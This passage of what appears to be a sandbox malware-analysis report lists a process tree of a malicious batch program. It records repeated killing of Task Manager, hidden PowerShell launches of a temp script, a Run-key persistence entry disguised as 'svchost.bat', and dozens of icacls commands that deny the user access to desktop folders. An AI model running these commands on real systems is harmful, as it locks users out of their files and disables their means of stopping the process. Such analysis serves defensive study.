        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4216
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:4192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:3924
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:3320
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:5416
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        Modifies file permissions
        
        PID:2336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:5612
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:1752
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:1368
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:1844
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:2404
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:3956
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:2812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:4296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        Modifies file permissions
        
        PID:2260
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:5336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:372
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:5144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5140
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:4220
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4676
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2512
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5308
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:3788
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:1280
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4584
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:2964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:2768
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:4192
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:5708
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1848
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3920
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:5628
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1756
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:3648
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4248
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:5512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:4520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:5916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4536
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:4008
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:4872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:3952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:2024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:3888
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:3828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:820
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:5400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:4708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:4104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:3812
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:3592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:1076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1020
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:2524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5800
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:5852
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:5708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:2580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:1308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5336
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5536
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:3468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:5356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:4932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:4164
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:5904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:5480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:1144
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:3344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:4792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:3572
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:5544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:2260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:3912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:4328
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:2552
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5208
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:3924
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4216
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:4912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:2100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:8
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:5972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:5392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:3360
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2156
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1116
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  PID:6040
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:560
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:3448
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4388
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2604
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:472
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:4044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:2160
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5096
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:5556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:2972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:4132
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:4456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:3572
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:5484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4208
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:1296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:1676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:5144
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:2972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1752
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:5208
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2448
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:1064
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:2728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:3352
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:1560
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:3948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4676
  - - C:\Windows\system32\icacls.exe
